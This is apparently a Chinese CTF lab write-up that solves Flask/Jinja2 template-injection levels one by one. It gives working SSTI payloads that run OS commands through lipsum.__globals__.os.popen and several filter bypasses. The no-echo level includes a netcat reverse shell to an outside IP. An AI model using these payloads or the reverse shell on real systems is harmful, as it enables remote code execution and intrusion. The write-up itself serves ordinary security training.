ssti_lab/flask

这里大家可以自己去搭建一个靶场,搭建不了的可以去nssctf去看一下直接搜索
image
下面那个ssti-flask-labs就是
这里也把搭建靶场的视频连接丢出来
https://www.bilibili.com/video/BV1tj411u7Bx?t=2.2
下面视频里的靶场更加全面,是大佬集成的一个docker
展示一下内页面
image
下面那个就是nssctf上有的

flask无过滤

打开环境
image
这里比较常规一点的做法就是直接去查看可用类
{{''.__class__.__base__.__subclasses__()}}
image
然后从这里面去找可用用的类,我一般是去找os类
这里可用使用脚本去找

点击查看代码
def find_classes_with_keyword(classes_list, keyword):
    matches = []
    for index, class_str in enumerate(classes_list):
        if keyword.lower() in class_str.lower():
            class_name = class_str.split("'")[1] if "'" in class_str else class_str
            matches.append((index, class_name))
    return matches

if __name__ == "__main__":
    # 读取文件名为1.txt的文件内容并转换为列表
    with open("D:\Desktop\code\\1.txt", "r") as file:
        classes_str = file.read()

    classes_list = [item.strip() for item in classes_str[1:-1].split(',')]
    
    keyword = input("请输入要搜索的关键词: ").strip()
    results = find_classes_with_keyword(classes_list, keyword)
    
    if results:
        print(f"找到 {len(results)} 个包含 '{keyword}' 的类:")
        for idx, (position, class_name) in enumerate(results, 1):
            print(f"{idx}. 位置: {position}, 类名: {class_name}")
    else:
        print(f"没有找到包含 '{keyword}' 的类")
脚本出自妥师傅 这里直接运行

image
看见164这个就是我们需要的类
这里就不演示了
直接来使用lipsum,这个是flask的一个全局函数
{{lipsum.__globals__.os.popen('ls').read()}}
image
看见flag了直接cat
{{lipsum.__globals__.os.popen('cat flag').read()}}
image
这里也是直接拿到flag

过滤大括号

打开环境
image
这里的{}被过滤了,我们输入看一眼
image
被过滤的是这个双层的大括号
这里就可以使用{%%}来哦进行绕过
{%%}
主要就是jinjia模板引擎的语法标记,用于在 HTML 模板中编写逻辑控制语句
可用在里面运行print这个语句因为我们这里调用了全局函数lipsum
所以{%%}可以当作{{}}来用
所以这里就是把大括号换掉就行了
{%print(lipsum.__globals__.os.popen('ls').read())%}
image

直接cat
{%print(lipsum.__globals__.os.popen('cat flag').read())%}
image
拿到flag

flask无回显

打开环境
image

这里说是无回显,我们就先输入一个{{7*7}}看看
image

只会显示对不对,和SQL的布尔盲注感觉判断差不多
但是这里没有回显,所以可用考虑一下反弹shell
{{lipsum.__globals__.os.popen('nc 103.30.43.88 8888 -e /bin/bash').read()}}
这里先去把监听打开
image

然后再传payload
image

也是连接上了
看下目录
image

直接catflag
image

过滤中括号

打开环境
image

这里输入一下中括号看看
image

但是我们的payload是直接没有[]的
所以可用直接绕过
这里其它的绕过方法网上也挺多的,可用自己去搜索一下
{{lipsum.__globals__.os.popen('cat flag').read()}}
image

过滤了单、双引号

打开环境
image

这里我们知道是过滤了单双引号
所以我们可用直接使用request来绕过
注意这里的request不是python的库而是flask的内部函数
这里把request里的所有东西都展示出来
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
这里直接上payload
这里用的是第一个其它也大差不差
这里只需要把存在单双引号的地方换掉就可用了
?a=cat flag
code={{lipsum.__globals__.os.popen(request.args.a).read()}}
image

也是得到了flag
这里呢也是解释一下为什么是code
可用自己抓包看一下
image

所以是code

过滤下划线

打开环境
image

这里是知道了它过滤了下划线
这里依然可以使用request来绕过不过这里需要搭配attr过滤器
attr(): 获取对象的属性
这里也是直接构造payload
?a=__globals__
{{(lipsum|attr(request.args.a)).os.popen('cat flag').read()}}
这里解释一下为什么需要使用ipsum和过滤器括号括起来
因为过滤器的优先级是低于属性访问和方法调用的
所以需要强制其先运行需要括号
image

过滤点

打开环境
image

这里我们是知道过滤了点的
可以直接使用中括号来绕过
{{lipsum['__globals__']['os']['popen']('cat flag')['read']()}}
image

过滤关键字

打开环境
image

这里说是过滤了关键字,先直接把payload丢上去看眼有没有过滤到我用到payload
image

被过滤了,因为比较少,就一个一个看看
image

image
这里也是找到globals和popen被过滤了
这里还是可以使用request来绕过,但不清楚有没有被过滤
先用拼接看看
{{lipsum['__glo'+'bals__'].os['po'+'pen']('cat flag')['read']()}}
image

获取config

打开环境
image

这里题目是让我们去获取config
先直接获取看看行不行
image

这里显示none去第一关看看
image

看来这里是被过滤了
被过滤的时候,可以使用flask内置函数来绕过一下
image

使用内置函数来调用current_app可以输出当前的app即flask
构造payload
{{url_for.__globals__['current_app'].config}}
这里介绍一下url_for
url_for 是 Flask 框架中用于生成 URL 的内置函数,但在模板注入攻击中常被利用来访问敏感数据
就可以获取config配置文件了
image

过滤数字

打开环境
image

这里是了解到它过滤的是数字
但是我们的paylaod里是没有数字的因为我们并没有去找可用类
所以可用直接使用
{{lipsum.__globals__.os.popen('cat flag').read()}}
image

但是这里也介绍一种可用绕过数字的方法
使用到过滤器length()
{%set a='bbbbbb'|length%}{{().class.base.subclasses()[a]}}
当然数字要是太大可用使用数学运算符号
{%set a='bbbbbb'|length*'bbbbbb'|length%}最后的长度就是36

过滤部分符号

打开环境
image

这里说是过滤了部分符号,先不管,直接把payload丢上去
{{lipsum.__globals__.os.popen('cat flag').read()}}
image

这里是被过滤了
这里选择直接爆破一手
image

这里除了tac都是被过滤的
不过这里得注意一手,有些符号是过滤的但是
因为我们这里是post提交,比如+号我们需要进行url编码再发送
不然它是识别不了的
这里我们直接在code位置传一个+看下
image

这里传进去之后可以发现,他是空白的
因为这里传+会解析成空格,所以我们直接传不会被拦截
但是我们在原本的ssti框这里提交一个看看
image

这里可以看见是被过滤了的
所以我们url编码再提交看一下
image

这里来再提交一手
image

可以看见这里是个waf就对了
举报了,后面才发现231也是waf
。。。。。
image

这里其实不用管那个,但也算是一个提醒
image

这个勾起来就行了
那这里回到过滤,过滤的还是挺死的
+ ' " . requset []都被过滤了
这过滤的还是有点死的
先把原本的的payload拿下来看看
{{lipsum.__globals__.os.popen('cat flag').read()}}
我们比对着过滤的字符看下
.和''就被过滤了
原本可以替代.是[]但是这个也被过滤了
而'用request代替,但是这个也被过滤了
这里就要用到join和dict了
这里详细介绍一下join
他会把字典里面的键名拼接起来,至于键值完全不管
这里来做一个简单的演示
{%set a=dict(cl=1,ass=1)|join%}{{a}}
这里可以去第一关看下
image

这里可以看到也是成功了
然后再配合attr()过滤器进行动态调用
{% set a = dict(__cl=1,ass__=1)|join%}{{''|attr(a)}}
image

那么这里的绕过方法也是来了
直接上payload
{% set getitem = dict(__getitem__=1)|join%}{% set globals=dict(__globals__=1)|join%}{% set os=dict(os=1)|join%}{% set payload=dict(ls=1)|join%}{% set popen=dict(popen=1)|join%}{% set read=dict(read=1)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
这里解释一下为什么需要用到getitem这个方法,这个其实就是和之前.os的作用时一样的
这里使用的时attr()过滤器,时动态的,这里也就是从动态的键名里面获取
所以需要使用getitem来获取
image

这里也是得到了目录
但是如果我们想直接cat flag是不行的
键名里面不可以包含空格,一般是数字,字母,下划线,空格是属于非法标识符
这里就还需要绕过一下空格
还要介绍两个东西
string()过滤器,强行变成字符
list过滤器将字符拆分成列表
这里直接把lipsum强行转换成字符串,这个返回的是这个函数的内存地址
这里看一下
{%set a=(lipsum|string)%}{{a}}
image

我们就可以把这个拆分然后就可以从里面获取空格
{%set a=(lipsum|string|list)%}{{a}}
image
这里可以看见空格了
直接在a后面加上索引就是对应的字符
image

这个就是空格了
那这里之前的payload就可以修改一下了
{% set getitem = dict(__getitem__=1)|join%}{% set globals=dict(__globals__=1)|join%}{% set os=dict(os=1)|join%}{%set space=lipsum|string|list|attr(getitem)(9)%}{%set payload=(dict(cat=1)|join,space,dict(flag=1)|join)|join%}{% set popen=dict(popen=1)|join%}{% set read=dict(read=1)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
然后就拿到了flag
image

过滤数字及部分符号

打开环境
image

还是一样的东西,这里我们知道是有过滤的
先爆破一波看看
image

image

这里把过滤的东西写下来
[] . _ ' "
这里我的字典只爆破出来这几个
这里感觉之前的payload可以直接使用
{% set getitem = dict(__getitem__=1)|join%}{% set globals=dict(__globals__=1)|join%}{% set os=dict(os=1)|join%}{% set payload=dict(ls=1)|join%}{% set popen=dict(popen=1)|join%}{% set read=dict(read=1)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
忘了,_被过滤了
这里可以直接提取出下划线这个字符
image

索引是18
image

这里的payload又可以改一下
{% set getitem = dict(pop=1)|join%}{% set xhx=lipsum|string|list|attr(getitem)(18)%}{% set globals=(xhx,xhx,dict(globals=1)|join,xhx,xhx)|join%}{% set os=dict(os=1)|join%}{%set space=lipsum|string|list|attr(getitem)(9)%}{%set payload=(dict(cat=1)|join,space,dict(flag=1)|join)|join%}{% set popen=dict(popen=1)|join%}{% set read=dict(read=1)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
image

发现是waf应该是数字被过滤了
键值好弄,直接换成英文字母就可以了
这里的18要用到上面的数字过滤的过滤器
这里就用一个新的过滤器
因为之前的过滤器是length()计算字符串长度,但是字符串需要用到''
所以不行,这里使用count计算字符串长度
{%set nine=dict(aaaaaaaaa=1)|join|count%}{{nine}}
去第一关看下
image

{%set eighteen=dict(aaaaaaaaaaaaaaaaaaaaaaaa=1)|join|count%}{{eighteen}}
image

这里就可以构造payload了
{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{% set getitem = dict(pop=a)|join%}{% set xhx=lipsum|string|list|attr(getitem)(eighteen)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{%set space=lipsum|string|list|attr(getitem)(nine)%}{%set payload=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
然后这里使用pop来替代getitem
image
这里解释一下pop,getitem的区别与联系
pop通过索引移除并返回容器中的元素,修改原容器。
__getitem__通过索引直接访问容器(如列表、字典)中的元素,不修改容器本身。
简单来说俩都能索引,返回结果,就是返回结果方面两个等效
pop会删除,__getitem__不会,所以可以替代

过滤部分符号和关键字

打开环境
image

这里提示说被过滤了一些符号和关键字
这里直接爆破一手
image

image
这里把过滤的记一下
' " . _ class init [] + request
这里应该把数字也加进字典
再把空格也加进字典
这里就手看一下
看了也是没有被过滤
这几个和我的payload关系不大
直接上payload
{% set getitem = dict(pop=a)|join%}{% set xhx=lipsum|string|list|attr(getitem)(18)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{%set space=lipsum|string|list|attr(getitem)(9)%}{%set payload=dict(ls=a)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
但是不行,这里回显是
image

所以应该不是过滤
就很懵了,这里去看了下师兄的博客也是没有出来,应该是这题的环境有点问题
不对我突然好像知道一点点为什么了
pop把我原来的原来的容器给改了
应该是这个问题,这里就不管了,绕过和之前的大差不差
但是不确定,有没有大佬来教导一下,不胜感激。

posted @ 2025-05-10 02:49  crook666  阅读(268)  评论(0)    收藏  举报